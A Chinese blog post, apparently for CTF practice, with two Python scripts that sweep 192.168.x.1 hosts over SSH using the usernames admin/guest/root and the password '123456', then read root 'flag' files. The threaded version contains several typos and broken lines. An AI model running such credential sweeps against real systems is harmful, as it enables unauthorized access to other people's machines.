Python-SSH批量登陆并执行命令

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
from time import ctime
usernm = ["admin","guest","root"]
passwd = "123456"
def ssh():
for i in range(1,254):
for user in usernm:
try:
host = "192.168.%s.1"%i
s=paramiko.SSHClient()
#创建ssh对象
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#自动加载主机密钥 yes\no
s.connect(hostname=host,username=user,password=passwd)
stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,user,ctime())
dd = stdout.read()
print dd
stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass
print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图:

多线程版本

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
import threading
from time import ctime,sleep
def ssh():
usernm = ["admin","guest","root"]
ip = "192.168.%s.1"%i
for user in usernm:
try:
s=paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=ip,username=user,password='123456')
stdin,stdout,stderr = s.exec_command('cat /root/flag*')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,uer,ctime())
dd = stdout.read()
print dd stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass for i in range(100,200):
a=threading.thread(target=ssh,arg=())
sleep(0.1)
a.strat()

运行效果:

最新文章

  1. POJ2104 —— K-th number
  2. 解决使用 Composer 的时候提示输入 Token
  3. CAN
  4. (coco2d-x初学)xcode5.0安装 cocos2d-x2.2.0
  5. java中map集合的迭代
  6. select count(*)优化 快速得到总记录数
  7. 关于Javascript循环体变量声明与初始化的效率问题
  8. 阿里消息队列中间件 RocketMQ 源码分析 —— Message 拉取与消费(上)
  9. mysql4 - 高级操作
  10. bash内建命令
  11. HTML5:在移动端禁用长按选中文本功能
  12. Java实现简单的RPC框架
  13. Error creating bean with name 'transactionManager'
  14. Centos6环境下CI(CodeIgniter)框架创建定时任务
  15. ubuntu 双硬盘挂载 windows分区自动挂载
  16. Delphi 浏览器WebBrowser
  17. CH3401 石头游戏
  18. Vue中引入jquery方法
  19. javascript转换日期字符串为Date对象
  20. 2018 Wannafly summer camp Day3--Knight

热门文章

  1. YouTube推出慈善组合工具,能引国内视频网站跟风吗?
  2. Linux-IO多路复用select函数实践
  3. springboot和shiro的整合
  4. [Algo] 646. Store Number Of Nodes In Left Subtree
  5. nginx中server块的匹配顺序
  6. Maven--Eclipse maven相关配置
  7. Bless All
  8. upstream实现内网网站在公网访问
  9. 20199324《Linux内核原理与分析》第十二周作业
  10. 吴裕雄--天生自然 PYTHON3开发学习:OS 文件/目录方法